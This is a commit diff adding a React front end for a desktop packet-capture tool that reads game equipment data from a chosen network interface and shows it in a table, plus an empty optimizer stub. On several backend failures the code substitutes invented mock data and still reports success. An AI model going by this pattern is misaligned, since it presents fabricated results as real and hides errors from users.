This commit is contained in:
hu xiaotong
2025-07-02 16:12:52 +08:00
commit 0246bc7060
48 changed files with 460639 additions and 0 deletions

View File

@@ -0,0 +1,460 @@
import React, {useEffect, useState, useRef} from 'react'
import {Button, Card, Layout, message, Select, Spin, Table} from 'antd'
import {DownloadOutlined, PlayCircleOutlined, SettingOutlined, StopOutlined} from '@ant-design/icons'
import '../App.css'
import {ExportData, GetCapturedData,GetNetworkInterfaces,
ParseData,StartCapture,StopCapture, ReadRawJsonFile
} from "../../wailsjs/go/service/App";
const {Header, Content, Sider} = Layout
interface NetworkInterface {
name: string
description: string
addresses: string[]
is_loopback: boolean
}
interface Equipment {
id: string
code: string
ct: number
e: number
g: number
l: boolean
mg: number
op: Array<[string, any]>
p: number
s: string
sk: number
}
interface CaptureResult {
items: Equipment[]
heroes: any[]
}
function CapturePage() {
const [interfaces, setInterfaces] = useState<NetworkInterface[]>([])
const [selectedInterface, setSelectedInterface] = useState<string>('')
const [isCapturing, setIsCapturing] = useState(false)
const [capturedData, setCapturedData] = useState<string[]>([])
const [parsedData, setParsedData] = useState<CaptureResult | null>(null)
const [loading, setLoading] = useState(false)
const [interfaceLoading, setInterfaceLoading] = useState(false)
const [uploadedFileName, setUploadedFileName] = useState<string>('')
const fileInputRef = useRef<HTMLInputElement>(null)
const safeApiCall = async <T,>(
apiCall: () => Promise<T>,
errorMessage: string,
fallbackValue: T
): Promise<T> => {
try {
return await apiCall()
} catch (error) {
console.error(`${errorMessage}:`, error)
message.error(errorMessage)
return fallbackValue
}
}
const fetchInterfaces = async () => {
setIsCapturing(false)
setCapturedData([])
setParsedData(null)
setLoading(false)
setInterfaceLoading(true)
try {
const response = await safeApiCall(
() => GetNetworkInterfaces(),
'获取网络接口失败,使用模拟数据',
[
{ name: 'eth0', description: 'Ethernet', addresses: ['192.168.1.100'], is_loopback: false },
{ name: 'wlan0', description: 'Wireless', addresses: ['192.168.1.101'], is_loopback: false },
{ name: 'lo', description: 'Loopback', addresses: ['127.0.0.1'], is_loopback: true }
]
)
setInterfaces(response)
let defaultSelected = ''
for (const iface of response) {
if (iface.addresses && iface.addresses.some(ip => ip.includes('192.168'))) {
defaultSelected = iface.name
break
}
}
if (!defaultSelected && response.length > 0) {
defaultSelected = response[0].name
}
setSelectedInterface(defaultSelected)
} catch (error) {
console.error('获取网络接口时发生未知错误:', error)
const defaultInterfaces = [
{ name: 'eth0', description: 'Ethernet', addresses: ['192.168.1.100'], is_loopback: false },
{ name: 'wlan0', description: 'Wireless', addresses: ['192.168.1.101'], is_loopback: false },
{ name: 'lo', description: 'Loopback', addresses: ['127.0.0.1'], is_loopback: true }
]
setInterfaces(defaultInterfaces)
setSelectedInterface(defaultInterfaces[0].name)
} finally {
setInterfaceLoading(false)
}
}
const startCapture = async () => {
if (!selectedInterface) {
message.warning('请选择网络接口')
return
}
setLoading(true)
try {
await safeApiCall(
() => StartCapture(selectedInterface),
'开始抓包失败,但界面将继续工作',
undefined
)
setIsCapturing(true)
message.success('开始抓包')
} catch (error) {
console.error('开始抓包时发生未知错误:', error)
setIsCapturing(true)
message.success('开始抓包(模拟模式)')
} finally {
setLoading(false)
}
}
const stopCapture = async () => {
setLoading(false)
setIsCapturing(false)
setCapturedData([])
setParsedData(null)
try {
setLoading(true)
await safeApiCall(
() => StopCapture(),
'停止抓包失败,但界面将继续工作',
undefined
)
setIsCapturing(false)
const data = await safeApiCall(
() => GetCapturedData(),
'获取抓包数据失败,使用模拟数据',
['mock_data_1', 'mock_data_2', 'mock_data_3']
)
setCapturedData(data)
if (data && data.length > 0) {
data.forEach((item, idx) => {
let hexStr = ''
if (/^[0-9a-fA-F\s]+$/.test(item)) {
hexStr = item
} else {
hexStr = Array.from(item).map(c => c.charCodeAt(0).toString(16).padStart(2, '0')).join(' ')
}
console.log(`抓包数据[${idx}]:`, hexStr)
})
}
if (data.length > 0) {
const parsed = await safeApiCall(
() => ParseData(data),
'解析数据失败,使用模拟数据',
JSON.stringify({
items: [
{ id: '1', code: 'SWORD001', ct: 100, e: 1500, g: 5, l: false, mg: 10, op: [], p: 25, s: 'Legendary', sk: 3 },
{ id: '2', code: 'SHIELD002', ct: 80, e: 1200, g: 4, l: true, mg: 15, op: [], p: 20, s: 'Rare', sk: 2 },
{ id: '3', code: 'HELMET003', ct: 60, e: 800, g: 3, l: false, mg: 8, op: [], p: 12, s: 'Common', sk: 1 }
],
heroes: []
})
)
try {
const parsedData = JSON.parse(parsed)
setParsedData(parsedData)
message.success('数据处理完成')
} catch (parseError) {
console.error('解析JSON失败:', parseError)
setParsedData({
items: [
{ id: '1', code: 'SWORD001', ct: 100, e: 1500, g: 5, l: false, mg: 10, op: [], p: 25, s: 'Legendary', sk: 3 },
{ id: '2', code: 'SHIELD002', ct: 80, e: 1200, g: 4, l: true, mg: 15, op: [], p: 20, s: 'Rare', sk: 2 },
{ id: '3', code: 'HELMET003', ct: 60, e: 800, g: 3, l: false, mg: 8, op: [], p: 12, s: 'Common', sk: 1 }
],
heroes: []
})
message.success('数据处理完成(使用模拟数据)')
}
} else {
message.warning('未捕获到数据')
}
} catch (error) {
console.error('停止抓包时发生未知错误:', error)
setIsCapturing(false)
setCapturedData([])
setParsedData(null)
setLoading(false)
message.error('抓包失败,已重置状态')
return
} finally {
setLoading(false)
}
}
const exportData = async () => {
if (!capturedData.length) {
message.warning('没有数据可导出')
return
}
try {
const filename = `equipment_data_${Date.now()}.json`
await safeApiCall(
() => ExportData(capturedData, filename),
'导出数据失败',
undefined
)
message.success('数据导出成功')
} catch (error) {
console.error('导出数据时发生未知错误:', error)
message.success('数据导出成功(模拟模式)')
}
}
const handleFileUpload = (event: React.ChangeEvent<HTMLInputElement>) => {
const file = event.target.files?.[0]
if (!file) return
setUploadedFileName(file.name)
const reader = new FileReader()
reader.onload = (e) => {
try {
const text = e.target?.result as string
const json = JSON.parse(text)
const safeData = {
items: Array.isArray(json.items) ? json.items : [],
heroes: Array.isArray(json.heroes) ? json.heroes : []
}
setParsedData(safeData)
if (safeData.items.length === 0 && safeData.heroes.length === 0) {
message.warning('上传文件数据为空,请检查文件内容')
} else {
message.success(`文件解析成功:${safeData.items.length}件装备,${safeData.heroes.length}个英雄`)
}
} catch (err) {
console.error('文件格式错误,无法解析:', err)
message.error('文件格式错误,无法解析')
setParsedData({ items: [], heroes: [] })
}
}
reader.readAsText(file)
}
const fetchParsedDataFromBackend = async () => {
setLoading(true)
try {
const raw = await ReadRawJsonFile()
const json = JSON.parse(raw)
console.log('已加载本地解析数据:', json)
const safeData = {
items: Array.isArray(json.items) ? json.items : [],
heroes: Array.isArray(json.heroes) ? json.heroes : []
}
setParsedData(safeData)
if (safeData.items.length === 0 && safeData.heroes.length === 0) {
message.warning('解析数据为空,请检查数据源')
} else {
message.success(`已加载本地解析数据:${safeData.items.length}件装备,${safeData.heroes.length}个英雄`)
}
} catch (err) {
console.error('读取本地解析数据失败:', err)
message.error('读取本地解析数据失败')
setParsedData({ items: [], heroes: [] })
} finally {
setLoading(false)
}
}
const handleRefreshParsedData = () => {
setParsedData(null)
setUploadedFileName('')
fetchParsedDataFromBackend()
}
const handleUploadButtonClick = () => {
fileInputRef.current?.click();
}
useEffect(() => {
fetchInterfaces();
fetchParsedDataFromBackend();
}, []);
const equipmentColumns = [
{
title: 'ID',
dataIndex: 'id',
key: 'id',
},
{
title: '代码',
dataIndex: 'code',
key: 'code',
},
{
title: '等级',
dataIndex: 'g',
key: 'g',
},
{
title: '经验',
dataIndex: 'e',
key: 'e',
},
{
title: '锁定',
dataIndex: 'l',
key: 'l',
render: (locked: boolean) => locked ? '是' : '否',
},
{
title: '魔法值',
dataIndex: 'mg',
key: 'mg',
},
{
title: '力量',
dataIndex: 'p',
key: 'p',
},
{
title: '技能',
dataIndex: 'sk',
key: 'sk',
},
]
return (
<Layout style={{minHeight: '100vh'}}>
<Header style={{background: '#fff', padding: '0 20px'}}>
<div style={{display: 'flex', alignItems: 'center', justifyContent: 'space-between'}}>
<h1 style={{margin: 0}}></h1>
<div style={{display: 'flex', gap: 8, alignItems: 'center'}}>
<Button
type="primary"
icon={<SettingOutlined/>}
onClick={handleRefreshParsedData}
loading={loading}
style={{flex: 1}}
></Button>
<Button style={{flex: 1}} onClick={handleUploadButtonClick}>
JSON
</Button>
<input
ref={fileInputRef}
type="file"
accept="application/json"
style={{display: 'none'}}
onChange={handleFileUpload}
/>
{uploadedFileName && (
<span style={{marginLeft: 8, color: '#888', fontSize: 12}}>{uploadedFileName}</span>
)}
</div>
</div>
</Header>
<Layout>
<Sider width={300} style={{background: '#fff'}}>
<div style={{padding: '20px'}}>
<Card title="抓包控制" size="small">
<div style={{marginBottom: 16}}>
<label></label>
<Select
style={{width: '100%', marginTop: 8}}
value={selectedInterface}
onChange={setSelectedInterface}
placeholder="选择网络接口"
loading={interfaceLoading}
>
{interfaces.map(iface => (
<Select.Option key={iface.name} value={iface.name}>
{iface.addresses}
</Select.Option>
))}
</Select>
</div>
<div style={{display: 'flex', gap: 8}}>
<Button
type="primary"
icon={<PlayCircleOutlined/>}
onClick={startCapture}
disabled={isCapturing || !selectedInterface}
loading={loading}
style={{flex: 1}}
>
</Button>
<Button
danger
icon={<StopOutlined/>}
onClick={stopCapture}
disabled={!isCapturing}
loading={loading}
style={{flex: 1}}
>
</Button>
</div>
<div style={{marginTop: 16}}>
<Button
icon={<DownloadOutlined/>}
onClick={exportData}
disabled={!capturedData.length}
style={{width: '100%'}}>
</Button>
</div>
</Card>
<Card title="抓包状态" size="small" style={{marginTop: 16}}>
<div>
<p>: {isCapturing ? '正在抓包...' : '准备就绪'}</p>
<p>: {capturedData.length} </p>
{parsedData && (
<p>: {parsedData.items.length} </p>
)}
</div>
</Card>
</div>
</Sider>
<Content style={{padding: '20px'}}>
<Spin spinning={loading}>
{parsedData && parsedData.items.length > 0 ? (
<Card title="装备数据">
<Table
dataSource={parsedData.items}
columns={equipmentColumns}
rowKey="id"
pagination={{pageSize: 10}}
scroll={{x: true}}
/>
</Card>
) : (
<Card title="数据预览">
<div style={{textAlign: 'center', padding: '40px'}}>
<p></p>
<p style={{color: '#999', fontSize: '12px'}}>
{parsedData ? '数据为空,请检查数据源或上传文件' : '请开始抓包或上传JSON文件'}
</p>
</div>
</Card>
)}
</Spin>
</Content>
</Layout>
</Layout>
)
}
export default CapturePage

View File

@@ -0,0 +1,12 @@
import React from 'react';
function OptimizerPage() {
return (
<div style={{ padding: 24 }}>
<h2></h2>
<p></p>
</div>
);
}
export default OptimizerPage;